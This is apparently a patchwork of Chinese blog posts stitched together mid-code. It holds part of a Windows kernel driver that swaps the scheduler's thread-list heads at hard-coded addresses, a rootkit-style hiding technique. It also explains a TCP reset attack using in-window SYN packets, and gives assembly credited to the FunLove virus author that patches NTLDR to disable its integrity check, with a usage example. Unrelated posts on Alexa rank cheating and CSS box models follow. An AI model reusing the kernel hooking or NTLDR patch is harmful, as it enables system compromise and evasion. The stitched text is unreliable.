DbgPrint(“OrgWaitOut:%8x”,*(PULONG)ChangeList);
}
for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0×4;
DbgPrint(“OrgWaitOut+4:%8x”,*(PULONG)ChangeList);
}
for(i = 0; i < 32; i++)
{
if(pNewKiDispatcherReadyListHead[i].Flink != &pNewKiDispatcherReadyListHead[i])
{
pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink;
pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;
pKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pKiDispatcherReadyListHead[i];
}
}
for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead;
DbgPrint(“NewDispatcher:%8x”, *(PULONG)ChangeList);
}
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0×4;
DbgPrint(“NewDispatcher+4:%8x”, *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);
ExFreePool(pNewKiWaitInListHead);
ExFreePool(pNewKiWaitOutListHead);
ExFreePool(pNewKiDispatcherReadyListHead);
DbgPrint(“Now terminate system thread.\n”);
PsTerminateSystemThread(STATUS_SUCCESS);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint(“Error occured in ReplaceList().\n”);
}
return;
}
NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj)
{
WCHAR DevLinkBuf[] = L”\\??\\SchList“;
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PVOID pWorkerThread;
PDEVICE_EXTENSION pDevExt;
NTSTATUS Status;
LARGE_INTEGER WaitTime;
WaitTime.QuadPart = -(8 * 1000 * 10000);
pDevObj = pDriObj->DeviceObject;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->bExit = TRUE;
__try
{
KeSetEvent(&pDevExt->ExitEvent, 0, FALSE);
KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);
DbgPrint(“SchList:Worker thread killed.\n”);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint(“Error occured in Unload().\n”);
}
if(pDevObj)
{
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
IoDeleteSymbolicLink(&uniDevLink);
IoDeleteDevice(pDevObj);
DbgPrint((“SchList.sys:Driver Unload successfully.\n”));
return STATUS_SUCCESS;
}
DbgPrint((“SchList.sys:Detect device failed.\n”));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj,
IN PUNICODE_STRING puniRegPath)
{
WCHAR DevNameBuf[] = L”\\Device\\SchList“;
UNICODE_STRING uniDevName;
WCHAR DevLinkBuf[] = L”\\??\\SchList“;
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
NTSTATUS status;
int pKiDispatcherReadyListHeadAddr = 0×804822e0;
int pKiWaitInListHeadAddr = 0×80482258;
int pKiWaitOutListHeadAddr = 0×80482808;
DbgPrint((“SchList:Enter DriverEntry.\n”));
RtlInitUnicodeString(&uniDevName,DevNameBuf);
status = IoCreateDevice(pDriObj,
sizeof(DEVICE_EXTENSION),
&uniDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);
if(!NT_SUCCESS(status))
{
DbgPrint((“SchList.sys:Create device failed.\n”));
return status;
}
DbgPrint((“SchList.sys:Create device successfully.\n”));
pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension;
pDevExt->pDeviceObject = pDevObj;
KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0);
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
status = IoCreateSymbolicLink(&uniDevLink,
&uniDevName);
if(!NT_SUCCESS(status))
{
DbgPrint((“SchList.sys:Create symbolic link failed.\n”));
return status;
}
pDriObj->DriverUnload = DriverUnload;
PsCreateSystemThread(&pDevExt->hWorkerThread,
(ACCESS_MASK)0L,
NULL,
(HANDLE)0L,
NULL,
ReplaceList,
pDevExt);
return STATUS_SUCCESS;
}
虽然也算是把 TCP/IP Illustrated 三卷大致翻看过一遍,但现在回想起来读的真是很不认真,往往只是对自己感兴趣的地方仔细研究,麻烦的地方点到为止。这次因为那个号称 TCP 原理上存在的漏洞,又涨了一些经验值,原来发送 SYN 包也是可以导致重置 TCP 连接的。
具体漏洞描述可参考 Vulnerabilities in TCP,因为已经看了一些公司里老大写的内部文档,我就不好对其多做评论了,呵呵
其原理大概是通过监听、猜测或尝试,向被攻击连接的一方机器发送一个序列号在已建立连接 TCP 窗口中的 SYN 包,导致接收端以为连接无效而重置连接,并向另一端发送 RST 包切断连接。
这比传统的向两端发送多个 RST 包试图切断 TCP 连接的方式要优雅得多。因为 TCP 连接在 ESTABLISHED 状态时收到 RST 包后,直接清理队列并删除 TCB,连接进入 CLOSED 状态。
以下为引用:
second check the RST bit,
…
ESTABLISHED
FIN-WAIT-1
FIN-WAIT-2
CLOSE-WAIT
If the RST bit is set then, any outstanding RECEIVEs and SEND
should receive “reset” responses. All segment queues should be
flushed. Users should also receive an unsolicited general
“connection reset” signal. Enter the CLOSED state, delete the
TCB, and return.
如果切断不够及时(通常情况下如此),会导致接收到切断用 RST 包后,又在 CLOSED 状态收到数据(下图中第二行的 B)或对方发来的 RST 包(下图中第四行的 A),而这种异常情况可以被检测软件发现
以下为引用:
C RST –> B (ESTABLISHED)
(ESTABLISHED) A DATA –> B (CLOSED)
(ESTABLISHED) A <– RST C
(CLOSED) A <– RST B (CLOSED)
RFC 793 中对 CLOSED 状态的处理流程描述如下:
以下为引用:
If the state is CLOSED (i.e., TCB does not exist) then
all data in the incoming segment is discarded. An incoming
segment containing a RST is discarded. An incoming segment not
containing a RST causes a RST to be sent in response. The
acknowledgment and sequence field values are selected to make the
reset sequence acceptable to the TCP that sent the offending
segment.
简单的说就是在 CLOSED 状态收到数据包则回应 RST 包(有的操作系统屏蔽了此功能);收到 RST 包直接丢弃。
而通过 SYN 包则较难检测并且至少在一端不存在此问题(可以选择)
对上述漏洞所处的 ESTABLISHED 状态处理 SYN 包的流程,RFC 793 中是如下描述的(rfc793.txt:4394):
以下为引用:
fourth, check the SYN bit,
SYN-RECEIVED
ESTABLISHED STATE
FIN-WAIT STATE-1
FIN-WAIT STATE-2
CLOSE-WAIT STATE
CLOSING STATE
LAST-ACK STATE
TIME-WAIT STATE
If the SYN is in the window it is an error, send a reset, any
outstanding RECEIVEs and SEND should receive “reset” responses,
all segment queues should be flushed, the user should also
receive an unsolicited general “connection reset” signal, enter
the CLOSED state, delete the TCB, and return.
If the SYN is not in the window this step would not be reached
and an ack would have been sent in the first step (sequence
number check).
如果在 ESTABLISHED 状态收到一个在窗口内的 SYN 包则是一个错误,需要发送 RST 包响应并且清空所有队列。而用户将收到一个主动的“连接已重置”的信号,并进入 CLOSED 状态,TCB 被删除后返回。
翻阅了一下FreeBSD 5/Linux 2.4.26 和NT 4的TCP部分代码,在FreeBSD中很容易就找到了这种情况的处理代码(sys etinet cp_input.c:1697):
以下为引用:
/*
* If a SYN is in the window, then this is an
* error and we send an RST and drop the connection.
*/
if (thflags & TH_SYN) {
tp = tcp_drop(tp, ECONNRESET);
rstreason = BANDLIM_UNLIMITED;
goto drop;
}
注释里面也说的很清楚,如果一个 SYN 包在 TCP 窗口中,这就是一个需要发送 RST 包并丢弃连接的错误。
在 Linux 下的处理 ESTABLISHED 状态的 tcp_rcv_established 函数(netipv4 cp_input.c:3589)中也对 SYN 包做了相同的处理:
以下为引用:
int tcp_rcv_established(…)
{
// …
if(th->rst) {
tcp_reset(sk);
goto discard;
}
tcp_replace_ts_recent(tp, TCP_SKB_CB(skb)->seq);
if (th->syn && !before(TCP_SKB_CB(skb)->seq, tp->rcv_nxt)) {
TCP_INC_STATS_BH(TcpInErrs);
NET_INC_STATS_BH(TCPAbortOnSyn);
tcp_reset(sk);
return 1;
}
// …
}
而 NT 下也有类似的处理代码(ntos di cpip cp cp.rcv.c:2829):
以下为引用:
// At this point, the segment is in our window and does not overlap
// on either end. If it’s the next sequence number we expect, we can
// handle the data now. Otherwise we’ll queue it for later. In either
// case we’ll handle RST and ACK information right now.
// 按 RFC 793,首先检查 RST 位
// …
// 接着检查 SYN 位
if (RcvInfo.tri_flags & TCP_FLAG_SYN)
{
// …
SendRSTFromHeader(TCPH, Size, Src, Dest, OptInfo); // 发送 RST 包切断连接
// …
return IP_SUCCESS;
}
可以看到 FreeBSD, Linux 和 NT 的上述代码都是完全符合 RFC 要求的。虽然这个漏洞目前很难被利用,但通过构造 SYN 包切断 TCP 连接的思路还是非常值得借鉴的
而实际上通过阅读 RFC 和 FreeBSD/NT 相关源码,发现可能引起重置 TCP 连接的原因远远不止直接收到 RST 包或上述这种对 SYN 包的特殊处理。通过直接发送 RST 包只是主动重置的步骤,而还有很多情况可能引发被动重置。RFC 793 的 Reset Generation (rfc793.txt:2308) 中有非常详细的描述。但可惜的是这些重置发生的状态,都不是最容易被利用的 ESTABLISHED 状态,呵呵。
btw: 匆匆忙忙写完,估计问题挺多,呵呵,欢迎指正
funlove给出了很好的实现方法
Patch Code And Example To Patch NTLDROpenFile proc p_Filename:dword
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push p_Filename
call [ebp+_CreateFile]
ret 04h
OpenFile Endp
MapFile proc filehandle:dword
xor eax,eax
push eax
push eax
push eax
push PAGE_READWRITE
push eax
push filehandle
call [ebp+_CreateFileMapping]
ret 04h
MapFile Endp
ViewMap Proc maphandle:dword
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_ALL_ACCESS
push maphandle
call [ebp+_MapViewOfFile]
ret 04h
ViewMap Endp
Alloc proc imageSize:dword
xor eax,eax
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT
push imageSize
push eax
call [ebp+_VirtualAlloc]
ret 04h
Alloc endp
PatchFile PROC p_Filename : DWORD, p_PatchAddr : DWORD, p_PatchSize : DWORD
LOCAL p_FileHandle : DWORD,
p_FileSize : DWORD,
p_MapHandle : DWORD
push p_Filename
call OpenFile
cmp eax,-1
jz short PA_Exit
mov p_FileHandle,eax
push 00
push eax
call [ebp+_GetFileSize]
mov p_FileSize,eax
push p_FileHandle
call MapFile
or eax,eax
jz short PA_CloseFile
mov p_MapHandle,eax
push eax
call ViewMap
or eax,eax
jz short PA_CloseMap
mov edx,eax
mov edi,eax
mov esi,p_PatchAddr
mov ecx,p_FileSize
PA_00:
push ecx
push esi
push edi
mov ecx,p_PatchSize
repz cmpsb
pop edi
pop esi
pop ecx
jz short PA_01
inc edi
loop PA_00
jmp short PA_Unmap
PA_01:
mov ecx,p_PatchSize
add esi,ecx
repz movsb
PA_Unmap:
push edx
call [ebp+_UnmapViewOfFile]
PA_CloseMap:
push p_MapHandle
call [ebp+_CloseHandle]
PA_CloseFile:
push p_FileHandle
call [ebp+_CloseHandle]
PA_Exit:
ret 3*4h
PatchFile ENDP
NTPatch_Table=$
NTLDR db ‘NTLDR’,0
NT4_NTLDR db 3Bh,46,58,74,07 ; signature (file check)
db 3Bh,46,58,0EBh,07 ; patch
W2K_NTLDR db 3Bh,47,58,74,07
db 3Bh,47,58,0EBh,07
NTPatch_Table_len=$-NTPatch_Table
;Example
;lea eax,[ebp+NTLDR]
;lea ebx,[ebp+NT4_NTLDR]
;pushad
;push 05h
;push ebx
;push eax
;Call PatchFile
;popad
;lea ebx,[ebp+W2k_NTLDR]
;push 05h
;push ebx
;push eax
;call PatchFile
;popad
作者:专诚 2004-12-11 16:53:16
最近王翌的一篇《采访alexa作弊顶尖高手》,将alexa作弊的话题在2004年底炒热,跟这个冬天的温度形成了鲜明对比。当时一些IT界的朋友就笑着说,看吧,过不了两天,那个叫王通的人就要又乘势跳出来咬alexa了。
果然,不到半个月, http://www.web136.net/2004/12/08/20041208-112512-1.shtml 就新鲜出炉。翻翻这位王通的著作,十篇里面倒有八篇是紧咬alexa不松口。中国互联网上浮躁,泡沫的东西太多了,这位王通为什么偏偏跟Alexa有如此深的仇恨呢,难道事实真像他标榜的那样,他是为了中国互联网的良性发展而在一直放声呐喊吗?
如果真的是这样,笔者也就满怀敬意地仰视他了,可惜答案是否定的。这位王通本人就是另一个作弊行当 — SEO的从业者。 SEO,直译叫搜索引擎优化,其实业内的同行都知道,也是一种作弊,只不过是针对搜索引擎的作弊。而王通本人也曾到处宣扬,高春晖的手机网站经他“SEO”以后,效果令人咋舌,这已经成为SEO界流传的一个笑话。所以王通对alexa排名一往不变的仇恨,说白了就是利益的驱使。同样是姓王,王翌的两篇文章,一篇关于SEO,一篇关于alexa,都是尽量立足事实,以中立公正的角度来解析;而这位王通呢,则是一方面痛骂自己没有能力参予的alexa作弊,另一方面又到处推广自己从业的SEO作弊业务,真真可笑!
无论如何,笔者仔细阅读王通新鲜出炉的这篇文章以后,发现其中有两个疑点总无法解答,因此借助落伍者社区里面一位资深的alexa研究者XL的帮助,对这篇文章中的疑点提出置疑,是不是有道理,读者利用自己的智商来判断。
王通的文章中提到:
“上个星期,我的一个网友的网站www.si**.com亲还自试验过。他在一个论坛看到一个网友说自己会,然后加那个网友,通过那个网友,他才认识了那位ALEXA作弊技术高手,那位高手没怎么和他酷,只向他要了他的网址,然后告诉他,三天后看ALEXA排名图表(ALEXA一般在今天只能显示前天的ALEXA排名情况)。
三天后,我的那个网友的刚做好的网站ALEXA排名直线上升,很准确的停在1200名的位置。我那个哥们惊呆了!”
笔者看了这段话,第一个疑点就是,一个类似 si**.com 这样的域名,会是刚做好的网站?这样的域名恐怕几年前就被抢光了。第二个疑点,就是alexa作弊能够做到如此精确?落伍者的这位alexa研究者XL回答说:“绝不可能。”为了更加确定,笔者直接加了王翌采访的那位alexa作弊高手的MSN(注意,笔者的智商能够到达普通水平,不需要通过王通文章里面提到的那么复杂的方式找到这位高手A,因为这位高手的MSN已经天下皆知了)
下面是一段对话摘录,这位高手可能当天被类似的问题烦死了,火气正大。
笔者: 那个 si**.com 是你做的吗?
A: 日,今天一堆人来问我这个问题了。不是我。
笔者: 我想请教一下,你能把一个网站的排名很准确的停在1200名的位置吗?
A: 我再说一遍,不能!除非我能直接改alexa数据库,我又不是神。
A: 他妈的互联网上真是随便造谣,随便传谣。
笔者: 最近alexa更新好像发生变化了?好几天都不更新。
A: 是的,正在关注中。alexa可能要重新洗牌了。
笔者另外想到的,此前另一个王通之流的SEO也是义正词严地大篇描述某知名站点的弹出广告不断刷新,是ALEXA作弊,成为笑谈。稍微了解一下ALEXA就知道,这样不仅不能帮助ALEXA排名,而且正好相反,alexa toolbar就是用来禁止弹出广告的。只要谁的排名上升,一律作弊,而自己根本对ALEXA的基本常识一窍不通,这就是以王通为代表的仇alexa派。记得他无知地断言,如果该站点拿掉这个广告,排名将立即下跌。该站点还真的在不久后拿掉了这个广告,排名反而上升了!看到他们的道歉声明,真的笑倒。
作弊的后果,就是ALEXA改变技术,重新洗牌,因为alexa必须要维护它自身的权威,正如SEO也经常让google和百度出台各种惩罚措施一样。笔者本人也会一些SEO,跟国内SEO的顶尖高手大大象私交也颇好,这些高手们一直都是低调为人,王通在这个圈子里只是三流水平而已。只是笔者一直不解的是,为什么这么一个做搜索引擎作弊的三流角色,能脸皮一厚至斯,去指责alexa作弊,甚至不惜违背一个IT人的基本道德来造谣。最令人恶心的是,最后他还昂起头来,一脸大仁大义。
在网上能看到很多CSS教程,鼓励人们将HTML代码从繁琐的表格标签的套嵌中解放出来,使用CSS来代替表格。这样做不仅能提高页面的显示速度,还可以大大减少HTML页面的尺寸。
听上去还真象那么回事,我也做过一些纯CSS的页面,我也在IE和Opera中测试了一下,显示的效果也相差不多,可后来在FireFox和Mozilla中一看,简直就不认得了,变形太多了。后来发现是IE/Opera浏览器和FireFox/Mozilla浏览器对CSS的处理是不同的,最最严重的一个差别是他们对对象的实际大小的计算方法不一样。
在FireFox/Mozilla浏览器中,对象的实际宽度=(margin-left)+(border-left-width)+(padding-left)+width+(padding-right)+(border-right-width)+(margin-right);而在IE/Opera浏览器中,对象的实际宽度=(margin-left)+width+(margin-right)。这么一来,如果同时定义了对象的width,padding或margin或border-width的话,该对象在FireFox/Mozilla和IE/Opera浏览器中显示的效果就会差很多,最终导致页面的整体变形。
这样看来,还是用<TABLE>标签比较保险,虽然会导致页面结构的复杂和尺寸的增加,但至少能保证页面不会变形。如果一定要用CSS的话,最好不要同时定义一个对象的width和padding/margin/border-width。
现在用FireFox浏览器的人越来越多,在编写网页的时候最好不要使用VBSCRIPT,IE特有的DHTML,IE私有标签(如<marquee>标签,这东西就连Opera都不支持)等,这些只有IE浏览器才支持,如果你不熟悉HTML,最好也不要使用FrontPage。写Javascript的时候也要注意,有些能在IE中正常执行的脚本,在FireFox中是不能用的。尽量别用IE的那些华而不实的扩展。




